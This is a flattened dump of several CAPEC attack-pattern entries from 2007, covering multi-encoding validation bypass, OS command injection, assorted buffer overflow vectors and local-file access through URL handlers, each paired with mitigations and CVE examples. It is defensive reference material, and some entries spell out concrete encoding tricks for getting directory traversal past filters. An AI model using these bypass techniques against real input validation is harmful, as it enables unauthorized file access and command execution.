Determine application/system inputs where bypassing input validation is desired The attacker first needs to determine all of the application's/system's inputs where input validation is being performed and where he/she wants to bypass it. While using an application/system, the attacker discovers an input where validation is stopping him/her from performing some malicious or unauthorized actions. env-All When provided with unexpected input, application provides an error message stating that the input was invalid or that access was denied. env-All Determine which character encodings are accepted by the application/system The attacker then needs to provide various character encodings to the application/system and determine which ones are accepted. The attacker will need to observe the application's/system's response to the encoded data to determine whether the data was interpreted properly. Determine which escape characters are accepted by the application/system. A common escape character is the backslash character, '\' env-All Determine whether URL encoding is accepted by the application/system. env-All Determine whether UTF-8 encoding is accepted by the application/system. env-All Determine whether UTF-16 encoding is accepted by the application/system. env-All Determine if any other encodings are accepted by the application/system. env-All System provides error message similar to the one it provided when a positivie indicator was received for the first step. env-All Application/system accepts at least one high level character encoding where characters can be represented with multiple ASCII characters. Application/system interprets each character separately. Detect and alert on appearance of encodings in log messages (e.g. "Unsuccessful login by &lt;joe") Combine multiple encodings accepted by the application. The attacker now combines encodings accepted by the application. The attacker may combine different encodings or apply the same encoding multiple times. Combine same encoding multiple times and observe its effects. For example, if special characters are encoded with a leading backslash, then the following encoding may be accepted by the application/system: "\\\.". With two parsing layers, this may get converted to "\." after the first parsing layer, and then, to "." after the second. If the input validation layer is between the two parsing layers, then "\\\.\\\." might pass a test for ".." but still get converted to ".." afterwards. This may enable directory traversal attacks. env-All Combine multiple encodings and observe the effects. For example, the attacker might encode "." as "\.", and then, encode "\." as "&#92;&#46;", and then, encode that using URL encoding to "%26%2392%3B%26%2346%3B" env-All Application/System interprets the multiple encodings properly. env-All Attacker bypasses input validation layer(s) and passes data to application that it does not expect. Ensure that the input validation layer is executed after as many parsing layers as possible. Determine the details of any parsing layers that get executed after the input validation layer (this may be necessary in the case of filesystem access, for example, where the operating system also includes a parsing layer), and ensure that the input validator accounts for the various encodings of illegal characters and character sequences in those layers. Leverage ability to bypass input validation Attacker leverages his ability to bypass input validation to gain unauthorized access to system. There are many attacks possible, and a few examples are mentioned here. Gain access to sensitive files. env-All Perform command injection. env-All Perform SQL injection. env-All Perform XSS attacks. env-All Success outcome in previous step env-All Failure outcome in previous step env-All Gaining unauthorized access to system functionality. User input is used to construct a command to be executed on the target system or as part of the file name. Multiple parser passes are performed on the data supplied by the user. High Medium Injection Modification of Resources Using Escapes The backslash character provides a good example of the multiple-parser issue. A backslash is used to escape characters in strings, but is also used to delimit directories on the NT file system. When performing a command injection that includes NT paths, there is usually a need to "double escape" the backslash. In some cases, a quadruple escape is necessary. Original String: C:\\\\winnt\\\\system32\\\\cmd.exe /c <parsing layer> Interim String: C:\\winnt\\system32\\cmd.exe /c <parsing layer> Final String: C:\winnt\system32\cmd.exe /c This diagram shows each successive layer of parsing translating the backslash character. A double backslash becomes a single as it is parsed. By using quadruple backslashes, the attacker is able to control the result in the final string. From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Medium Initially a fuzzer can be used to see what the application is successfully and escaping and what causes problems. This may be a good starting point. Manually try to introduce multiple layers of control characters and see how many layers the application can escape. Control characters are being detected by the filters repeatedly. An iterative approach to input validation may be required to ensure that no dangerous characters are present. It may be necessary to implement redundant checking across different input validation layers. Ensure that invalid data is rejected as soon as possible and do not continue to work with it. Make sure to perform input validation on canonicalized data (i.e. data that is data in its most standard form). This will help avoid tricky encodings getting past the filters. Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Data Modification Privilege Escalation Information Leakage 171 Targeted 179 Targeted 181 Targeted 184 Targeted 183 Targeted 77 Targeted 78 Targeted 74 Targeted 20 Targeted 697 Targeted 707 Targeted Defense in Depth Penetration Medium High High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Input Validation G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eugene Lebanidze Cigital, Inc 2007-02-26 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name and Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

An attacker can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

Identify inputs for OS commands The attacker determines user controllable input that gets passed as part of a command to the underlying operating system. Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports. env-Local env-CommProtocol env-Peer2Peer env-ClientServer TCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, he attempts to guess the actual operating system. env-Embedded env-ClientServer env-Peer2Peer env-CommProtocol env-Web Induce errors to find informative error messages env-All The target software accepts connections via the network. env-Web env-CommProtocol env-Peer2Peer env-Embedded env-ClientServer Operating environment (operating system, language, and/or middleware) is correctly identified. Multiple candidate operating environments are suggested. Provide misleading information on TCIP/IP fingerprints (some operating systems can be configured to send signatures that match other operating systems). Provide misleading information at the server level (e.g., Apache, IIS, WebLogic, etc.) to announce a different server software. Some fingerprinting techniques can be detected by operating systems or by network IDS systems because they leave the network connection half-open, or they do not belong to a valid, open connection. Survey the Application The attacker surveys the target application, possibly as a valid and authenticated user Spidering web sites for all available links env-Web Inventory all application inputs env-All Attacker develops a list of valid inputs env-All The attacker develops a list of likely command delimiters. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Monitor velocity of feature activations (non-web software). Humans who activate features (click buttons, request actions, invoke APIs, etc.) will do so far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Vary inputs, looking for malicious results. Depending on whether the application being exploited is a remote or local one the attacker crafts the appropriate malicious input, containing OS commands, to be passed to the application Inject command delimiters using network packet injection tools (netcat, nemesis, etc.) env-CommProtocol env-Web env-Peer2Peer env-ClientServer Inject command delimiters using web test frameworks (proxies, TamperData, custom programs, etc.) env-Web Inventorying in prior step is successful. env-All One or more injections that are appropriate to the platform provokes an unexpected response from the software, which can be varied by the attacker based on the input. Execute malicious commands The attacker may steal information, install a back door access mechanism, elevate privileges or compromise the system in some other way. The attacker executes a command that stores sensitive information into a location where he can retrieve it later (perhaps using a different command injection). env-All The attacker executes a command that stores sensitive information into a location where he can retrieve it later (perhaps using a different command injection). env-All The attacker executes a command that stores sensitive information into a location where he can retrieve it later (perhaps using a different command injection). env-All The software performs an action the attacker desires. This might be displaying information, storing a program, executing a command, or some other malicious activity. Make commonly exploited administrative tools log their execution. Make commonly exploited administrative tools non-executable, except when the system is in specific maintenance periods. (i.e., require administrators to specifically enable certain administrative commands prior to performing system maintenance.) User controllable input used as part of commands to the underlying operating system. High High There is high motivation for the attacker to seek out and discover opportunities for this attack due to the power it yields. Injection API Abuse A transaction processing system relies on code written in a number of languages. To access this functionality, the system passes transaction information on the system command line. An attacker can gain access to the system command line and execute malicious commands by injecting these commands in the transaction data. If successful, the attacker can steal information, install backdoors and perform other nefarious activities that can compromise the system and its data. A vulnerability in Mozilla Firefox 1.x browser allows an attacker to execute arbitrary commands on the UNIX/Linux operating system. The vulnerability is caused due to the shell script used to launch Firefox parsing shell commands that are enclosed within backticks in the URL provided via the command line. This can be exploited to execute arbitrary shell commands by tricking a user into following a malicious link in an external application which uses Firefox as the default browser (e.g. the mail client Evolution on Red Hat Enterprise Linux 4). High: The attacker needs to have knowledge of not only the application to exploit but also the exact nature of commands that pertain to the target operating system. This may involve, though not always, knowledge of specific assembly commands for the platform. Use language APIs rather than relying on passing data to the oeprating system shell or command line. Doing so ensures that the available protection mechanisms in the language are intact and applicable. Filter all incoming data to escape or remove characters or strings that can be potentially misinterpreted as operating system or shell commands All application processes should be run with the minimal privileges required. Also, processes must shed privileges as soon as they no longer require them. Run Arbitrary Code Privilege Escalation Information Leakage Most modern applications are written using the J2EE or .NET managed platforms. These platforms provide fairly robust mechanism to protect against code inadvertently accessing parts of the underlying system that it should not. However, two chief factors mitigate against the eradication of OS command injection. The first one relates to the use of native code and libraries. The only way for any managed platform to access this functionality is by calling into the underlying operating system. The second factor relates to the prevalence of unmanaged code, such as PERL code, used to create application. PERL, for example, is the language of choice when programming using CGI. PERL is unmanaged and allows easy mechanisms for the programmer to call the underlying operating system commands. This problem is exacerbated by the fact that such calls into the oeprating system are made with far higher privileges than required, thus leading to additional damage. Since input validation is an art not yet perfected, opportunities abound for attackers to abuse applications and execute commands on the underlying operating system. User-controllable input used as part of operating system commands Operating system commands injected by the attacker, intended to escalate privilege or divulge information Underlying operating system hosting the exploited application. The injected OS commands are interpreted by the shell, causing them to be executed under the privileges of the process running the exploited application. 78 Targeted 88 Secondary 20 Secondary 697 Targeted 713 Targeted Least Privilege Reluctance To Trust Never Use Unvalidated Input as Part of a Directive to any Internal Component Penetration Exploitation High High High All All All All Secunia Advisory SA16869: Firefox Command Line URL Shell Command Injection Chiradeep B. Chhaya 2007-03-16 First Draft Sean Barnum Cigital, Inc 2007-04-16 Review and revise

An attack of this type exploits a buffer overflow vulnerability in the handling of binary resources. Binary resources may includes music files like MP3, image files like JPEG files, and any other binary file. These attacks may pass unnoticed to the client machine through normal usage of files, such as a browser loading a seemingly innocent JPEG file. This can allow the attacker access to the execution stack and execute arbitrary code in the target process. This attack pattern is a variant of standard buffer overflow attacks using an unexpected vector (binary files) to wrap its attack and open up a new attack vector. The attacker is required to either directly serve the binary content to the victim, or place it in a locale like a MP3 sharing application, for the victim to download. The attacker then is notified upon the download or otherwise locates the vulnerability opened up by the buffer overflow.

Target software processes binary resource files. Target software contains a buffer overflow vulnerability reachable through input from a user-controllable binary resource file. Very High High Modification of Resources Binary files like music and video files are appended with additional data to cause buffer overflow on target systems. Because these files may be filled with otherwise popular content, the attacker has an excellent vector for wide distribution. There have been numerous cases, for example of malicious screen savers for sports teams that are distributed on the event of the team winning a championship. Medium: to modify file, deceive client into downloading, locate and exploit remote stack or heap vulnerability Perform appropriate bounds checking on all buffers. Design: Enforce principle of least privilege Design: Static code analysis Implementation: Execute program in less trusted process space environment, do not allow lower integrity processes to write to higher integrity processes Implementation: Keep software patched to ensure that known vulnerabilities are not available for attackers to target on host. Denial of Service Run Arbitrary Code "Attack Pattern: Overflow Binary Resource File The attacker modifies a resource file, such as sound, video, graphic, or font file. Sometimes simply editing the target resource file in a hex editor is possible. The attacker modifies headers and structure data that indicate the length of strings, and so forth." [Hoglund and McGraw 04] 119 Targeted 697 Targeted 713 Targeted 23 Similar 35 Similar Penetration Exploitation High High High All All All All C C++ G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This type of attack leverages the use of symbolic links to cause buffer overflows. An attacker can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.

The attacker creates or modifies a symbolic link pointing to a resources (e.g., file, directory). The content of the symbolic link file includes out-of-bounds (e.g. excessive length) data. The target host consumes the data pointed to by the symbolic link file. The target host may either intentionally expect to read a symbolic link or it may be fooled by the replacement of the original resource and read the attacker's symbolic link. While consuming the data, the target host does not check for buffer boundary which can lead to a buffer overflow. If the content of the data is controlled by the attacker, this is an avenue for remote code execution. The attacker can create symbolic link on the target host. The target host does not perform correct boundary checking while consuming data from a ressources. High High Injection Modification of Resources Attack Example: Overflow with Symbolic Links in EFTP Server The EFTP server has a buffer overflow that can be exploited if an attacker uploads a .lnk (link) file that contains more than 1,744 bytes. This is a classic example of an indirect buffer overflow. First the attacker uploads some content (the link file) and then the attacker causes the client consuming the data to be exploited. In this example, the ls command is exploited to compromise the server software. Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS. High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. The attacker will look for temporary files in the world readable directories. Those temporary files are often created and read by the system. The attacker will look for Symbolic link or link target file that she can overide. An attacker creating or modifying Symbolic links is a potential signal of attack in progress. An attacker deleting temporary files can also be a sign that the attacker is trying to replace legitimate resources with malicious ones. Pay attention to the fact that the ressource you read from can be a replaced by a Symbolic link. You can do a Symlink check before reading the file and decide that this is not a legitimate way of accessing the resource. Because Symlink can be modified by an attacker, make sure that the ones you read are located in protected directories. Pay attention to the resource pointed to by your symlink links (See attack pattern named "Forced Symlink race"), they can be replaced by malicious resources. Always check the size of the input data before copying to a buffer. Use a language or compiler that performs automatic bounds checking. Use an abstraction library to abstract away risky APIs. Not a complete solution. Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution. Use OS-level preventative functionality. Not a complete solution. Denial of Service Run Arbitrary Code Information Leakage Data Modification Content-Based Buffer Overflow Data files are ubiquitous. They are used to store everything from documents to content media and critical computer settings. Every file has an inherent format that often encompasses special information such as file length, media type, and which fonts are boldface, all encoded directly in the data file. The attack vector against data files like these is simple: Mess up the data file and wait for some unsuspecting user to open it. Some kinds of files are strikingly simple and others have complex binary structures and numerical data embedded in them. Sometimes the simple act of opening a complex file in a hex editor and tweaking a few bytes is enough to cause the (unsuspecting) program that consumes the file to crash and burn. What's really interesting from an attacker's point of view is formatting data file-embedded poison pills in such a way that virus code is activated. A great example of this involved the Winamp program in which an overly long IDv3 tag would cause a buffer overflow. In the header of an MP3 file, there is a location where a normal text string can be placed. This is called the IDv3 tag, and if an overly long tag were to be supplied, Winamp would suffer a buffer overflow. This could be used by an attacker to construct malicious music files that attack the computer once they are opened in Winamp. Access right to the symbolic link: When a symlink is created there are no rights associated with it (this why you read them with rights lrwxrwxrwx). So everybody can modify them even if the owner of the Symlink is root and if the user changing the Symbolic link has no right on the link target file. The relevant rights are on the linked target file. To prevent someone from modifying the symlink in the first place, the directory containing it should have limited access rights. The resource pointed to by the Symbolic link (e.g., file, directory, etc.) The buffer overrun by the attacker. When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code. The most common is remote code execution. 120 Targeted 285 Secondary 302 Targeted 118 Targeted 119 Targeted 74 Targeted 20 Targeted 680 Targeted 697 Targeted Reluctance to trust Penetration Exploitation High High High All All All All C C++ G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Buffer Errors G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name and Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attacker's choice.

The attacker identifies a buffer to target. Buffer regions are either allotted on the stack or the heap, and the exact nature of attack would vary depending on the location of the buffer Next, the attacker identifies an injection vector to deliver the excessive content to the targeted buffer. The attacker crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the attacker will craft a set of content that not only overflows the targeted buffer but does so in such a way that the overwritten return address is replaced with one of the attacker's choosing which points to code injected by the attacker. The attacker injects the content into the targeted software. Upon successful exploitation, the system either crashes or control of the program is returned to a location of the attacker's choice. This can result in execution of arbitrary code or escalated privileges, depending upon the exploited target. Targeted software performs buffer operations. Targeted software inadequately performs bounds-checking on buffer operations. Attacker has the capability to influence the input to buffer operations. Very High High Injection Analysis The most straightforward example is an application that reads in input from the user and stores it in an internal buffer but does not check that the size of the input data is less than or equal to the size of the buffer. If the user enters excessive length data, the buffer may overflow leading to the application crashing, or worse, enabling the user to cause execution of injected code. Many web servers enforce security in web applications through the use of filter plugins. An example is the SiteMinder plugin used for authentication. An overflow in such a plugin, possibly through a long URL or redirect parameter, can allow an attacker not only to bypass the security checks but also execute arbitrary code on the target web server in the context of the user that runs the web server process. Low: In most cases, overflowing a buffer does not require advanced skills beyond the ability to notice an overflow and stuff an input variable with content. High: In cases of directed overflows, where the motive is to divert the flow of the program or application as per the attacker's bidding, high level skills are required. This may involve detailed knowledge of the target system architecture and kernel. None: Detecting and exploiting a buffer overflow does not require any resources beyond knowledge of and access to the target system. The attacker sends in overtly long input in variables under his control. If the target system or application handles it gracefully, the attack becomes difficult. However, an error condition or a system crash point to a high likelihood of successful exploitation. In cases where the attack is directed at a particular system or application, such as an operating system or a web server, the attacker can refer to system architecture and design documentation to figure out the exact point of injection and exploitation. An attack designed to leverage a buffer overflow and redirect execution as per the attacker's bidding is fairly difficult to detect. An attack aimed solely at bringing the system down is usually preceded by a barrage of long inputs that make no sense. In either case, it is likely that the attacker would have resorted to a few hit-or-miss attempts that will be recorded in the system event logs, if they exist. A buffer overflow attack itself is pretty difficult to obfuscate. There, however, exist fairly advanced techniques to ofuscate the payload, in order to bypass an intrusion detection system or filtering, either in the application or by means of an application firewall of some sorts. Use a language or compiler that performs automatic bounds checking. Use secure functions not vulnerable to buffer overflow. If you have to use dangerous functions, make sure that you do boundary checking. Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution. Use OS-level preventative functionality. Not a complete solution. Utilize static source code analysis tools to identify potential buffer overflow weaknesses in the software. Denial of Service Run Arbitrary Code Privilege Escalation Every program or application is designed to process some inputs received from the user or another system. Buffer overflows abound because programs trust user-controlled input. A buffer is a region of memory allocated for the purposes of storing certain data values. These can be environment variables, user-suppplied input or temporary scratch space. These regions are allocated on a stack (static allocation) or a heap (dynamic allocation). Although the exact payload used to exploit an overflow in buffers allocated on the stack or heap differ, the general technique is to stuff an input variable with more data than expected. Managed environments, such as the Java language or the .NET platform enforce strict type and bounds checking. This means that an attempt at a buffer overflow results in a system error. Note that this protection does not make application secure; it makes exploitation of overflow conditions more difficult than in application written in umanaged languages, such as C and C++. For example, the Structured Exception Handling mechanism technically allows an application to perform certain actions before the process is shut down. In case of a buffer overflow, this can be used to close sensitive files or disable certain functionality. However, it is possible to abuse the SEH mechanism as well and execute a successful buffer overflow exploit; only the effort and technical knowledge required are far greater than average. Therefore, it still remains the developer's and designer's prerogative to design a system in such a way that no overflow conditions exist. User-controllable input. Usually, any input that a user can control is prone to exploitation by overflow. Malicious content, such as an overtly long input string, system shellcode or commands, intended to cause a system crash and denial of service, or to escalate privilege or execute code that results in information disclosure or system compromise. Buffer allocated in memory for the input that carried the payload. Denial of service, escalated privileges, execution of arbitrary code, including system commands and low-level assembly code. 120 Targeted 119 Secondary 19 Secondary 680 Targeted CVE-2007-2139 Multiple stack-based buffer overflows in the SUN RPC service in CA (formerly Computer Associates) BrightStor ARCserve Media Server, as used in BrightStor ARCserve Backup 9.01 through 11.5 SP2, BrightStor Enterprise Backup 10.5, Server Protection Suite 2, and Business Protection Suite 2, allow remote attackers to execute arbitrary code via malformed RPC strings. CVE-2007-1910 Buffer overflow in wwlib.dll in Microsoft Word 2007 allows remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via a crafted document 8 More Abstract 9 More Abstract 10 More Abstract 24 Occasionally Precedes 46 More Abstract 47 More Abstract All user-controllable input must be strictly validated for enforcement of length and semantic checks All exception conditions (such as ArrayIndexOutOfBounds) in applications must be gracefully handled through use of available exception handling mechanisms. All applications and processes must be run with minimum privileges necessary so as to avoid an escalation of privilege in case of a successful exploit. Reluctance To Trust Defense in Depth Failing Securely Ensure that the Bounds of No Memory Region Are Violated Never Use Unvalidated Input as Part of a Directive to any Internal Component Penetration Exploitation High High High All All AJAX C C++ PERL PHP Ruby Visual Basic Other Chiradeep B. Chhaya 2007-04-30 First Draft Sean Barnum Cigital, Inc 2007-05-02 Review and revise

This type of attack leverages the use of tags or variables from a formatted configuration data to cause buffer overflow. The attacker crafts a malicious HTML page or configuration file that includes oversized strings, thus causing an overflow.

The attacker modifies a tag or variable from a formatted configuration data. For instance she changes it to an oversized string. The target program consumes the data modified by the attacker without prior boundary checking. As a consequence, a buffer overflow occurs and at worst remote code execution may follow. The target program consumes user-controllable data in the form of tags or variables. The target program does not perform sufficient boundary checking. High High Injection Attack Example: Overflow Variables and Tags in MidiPlug A buffer overflow vulnerability exists in the Yamaha MidiPlug that can be accessed via a Text variable found in an EMBED tag. CVE-1999-0946 Attack Example: Overflow Variables and Tags in Exim A buffer overflow in Exim allows local users to gain root privileges by providing a long :include: option in a .forward file. CVE-1999-0971 Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS. High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. An attacker can modify the variables and tag exposed by the target program. An attacker can automate the probing by input injection with script or automated tools. Use a language or compiler that performs automatic bounds checking. Use an abstraction library to abstract away risky APIs. Not a complete solution. Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution. Use OS-level preventative functionality. Not a complete solution. Do not trust input data from user. Validate all user input. Denial of Service Run Arbitrary Code Information Leakage Data Modification Content-Based Buffer Overflow Data files are ubiquitous. They are used to store everything from documents to content media and critical computer settings. Every file has an inherent format that often encompasses special information such as file length, media type, and which fonts are boldface, all encoded directly in the data file. The attack vector against data files like these is simple: Mess up the data file and wait for some unsuspecting user to open it. Some kinds of files are strikingly simple and others have complex binary structures and numerical data embedded in them. Sometimes the simple act of opening a complex file in a hex editor and tweaking a few bytes is enough to cause the (unsuspecting) program that consumes the file to crash and burn. What's really interesting from an attacker's point of view is formatting data file-embedded poison pills in such a way that virus code is activated. A great example of this involved the Winamp program in which an overly long IDv3 tag would cause a buffer overflow. In the header of an MP3 file, there is a location where a normal text string can be placed. This is called the IDv3 tag, and if an overly long tag were to be supplied, Winamp would suffer a buffer overflow. This could be used by an attacker to construct malicious music files that attack the computer once they are opened in Winamp. The variable or tag exposed to the user. The new value of the variable or tag (could be an oversized string). When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code. The most common is remote code execution. 120 Targeted 118 Targeted 119 Targeted 74 Targeted 20 Targeted 680 Targeted 733 Secondary 697 Targeted 100 More Detailed 8 Similar 10 Similar Reluctance to trust Penetration Exploitation High High High All All All All C C++ G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Buffer Errors G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

In this attack, the target software is given input that the attacker knows will be modified and expanded in size during processing. This attack relies on the target software failing to anticipate that the expanded data may exceed some internal limit, thereby creating a buffer overflow.

Consider parts of the program where user supplied data may be expanded by the program. Use a disassembler and other reverse engineering tools to guide the search. Find a place where a buffer overflow occurs due to the fact that the new expanded size of the string is not correctly accounted for by the program. This may happen perhaps when the string is copied to another buffer that is big enough to hold the original, but not the expanded string. This may create an opportunity for planting the payload and redirecting program execution to the shellcode. Write the buffer overflow exploit. To be exploitable, the "spill over" amount (e.g. the difference between the expanded string length and the original string length before it was expanded) needs to be sufficient to allow the overflow of the stack return pointer (in the case of a stack overflow), without causing a stack corruption that would crash the program before it gets to execute the shellcode. Heap overflow will be more difficult and will require the attacker to get more lucky, by perhaps getting a chance to overwrite some of the accounting information stored as part of using malloc(). The program expands one of the parameters passed to a function with input controlled by the user, but a later function making use of the expanded parameter erroneously considers the original, not the expanded size of the parameter. The expanded parameter is used in the context where buffer overflow may becomes possible due to the incorrect understanding of the parameter size (i.e. thinking that it is smaller than it really is). High Medium Injection Attack Example: FTP glob() The glob() function in FTP servers has been susceptible to attack as a result of incorrect resizing. This is an ftpd glob() Expansion LIST Heap Overflow Vulnerability. ftp daemon contains a heap-based buffer overflow condition. The overflow occurs when the LIST command is issued with an argument that expands into an oversized string after being processed by glob(). This buffer overflow occurs in memory that is dynamically allocated. It may be possible for attackers to exploit this vulnerability and execute arbitrary code on the affected host. To exploit this, the attacker must be able to create directories on the target host. The glob() function is used to expand short-hand notation into complete file names. By sending to the FTP server a request containing a tilde (~) and other wildcard characters in the pathname string, a remote attacker can overflow a buffer and execute arbitrary code on the FTP server to gain root privileges. Once the request is processed, the glob() function expands the user input, which could exceed the expected length. In order to exploit this vulnerability, the attacker must be able to create directories on the FTP server. From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CVE-2001-0249 Buffer overflow in the glob implementation in libc in NetBSD-current before 20050914, and NetBSD 2.* and 3.* before 20061203, as used by the FTP daemon, allows remote authenticated users to execute arbitrary code via a long pathname that results from path expansion. The limit computation of an internal buffer was done incorrectly. The size of the buffer in byte was used as element count, even though the elements of the buffer are 2 bytes long. Long expanded path names would therefore overflow the buffer. CVE-2006-6652 High: Finding this particular buffer overflow may not be trivial. Also, stack and especially heap based buffer overflows require a lot of knowledge if the intended goal is aribtrary code execution. Not only that the attacker needs to write the shell code to accomplish his or her goals, but the attacker also needs to find a way to get the program execution to jump to the planted shellcode. There also needs to be sufficient room for the payload. So not every buffer overflow will be exploitable, even by a skilled attacker. Access to the program source or binary. If the program is only available in binary then a disassembler and other reverse engineering tools will be helpful. Ensure that when parameter expansion happens in the code that the assumptions used to determine the resulting size of the parameter are accurate and that the new size of the parameter is visible to the whole system Privilege Escalation Privilege Escalation Denial of Service Data Modification The Multiple Operation Problem Whenever data are manipulated by a function, the function should track exactly what it's doing to the data. This is straightforward when only one function is "munging" data. But when multiple operations are working on the same data, keeping track of the effects of each operation gets much harder. Incorrect tracking leads to big problems. This is especially true if the operation changes a string somehow. There are a number of common operations on strings that will change the size of the string. The problem we're discussing occurs if the code performing the conversion does not resize the buffer that the string lives in. 120 Targeted 119 Targeted 118 Targeted 130 Targeted 131 Targeted 74 Targeted 20 Secondary 680 Targeted 697 Targeted 100 More Detailed Penetration Exploitation High High High All All All All C C++ G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eugene Lebanidze Cigital, Inc 2007-02-26 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Description and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This attack relies on client side code to access local files and resources instead of URLs. When the client browser is expecting a URL string, but instead receives a request for a local file, that execution is likely to occur in the browser process space with the browser's authority to local files. The attacker can send the results of this request to the local files out to a site that they control. This attack may be used to steal sensitive authentication data (either local or remote), or to gain system profile information to launch further attacks.

The victim's software must not differentiate between the location and type of reference passed the client software, e.g. browser High High API Abuse Modification of Resources Protocol Manipulation J2EE applications frequently use .properties files to store configuration information including JDBC connections, LDAP connection strings, proxy information, system passwords and other system metadata that is valuable to attackers looking to probe the system or bypass policy enforcement points. When these files are stored in publicly accessible directories and are allowed to be read by the public user, then an attacker can list the directory identify a .properties file and simply load its contents in the browser listing its contents. A standard Hibernate properties file contains hibernate.connection.driver_class = org.postgresql.Driver hibernate.connection.url = jdbc:postgresql://localhost/mydatabase hibernate.connection.username = username hibernate.connection.password = password hibernate.c3p0.min_size=5 hibernate.c3p0.max_size=20 Even if the attacker cannot write this file, there is plenty of information to leverage to gain further access. Medium: attacker identifies known local files to exploit Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification. Implementation: Ensure all configuration files and resource are either removed or protected when promoting code into production. Design: Use browser technologies that do not allow client side scripting. Implementation: Perform input validation for all remote content. Implementation: Perform output validation for all remote content. Implementation: Disable scripting languages such as Javascript in browser Information Leakage Data Modification "Attack Pattern: Passing Local Filenames to Functions That Expect a URL Use local filenames with functions that expect to consume a URL. Find interesting connections." [Hoglund and McGraw 04] 241 Targeted 706 Targeted Exploitation High High Low All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise

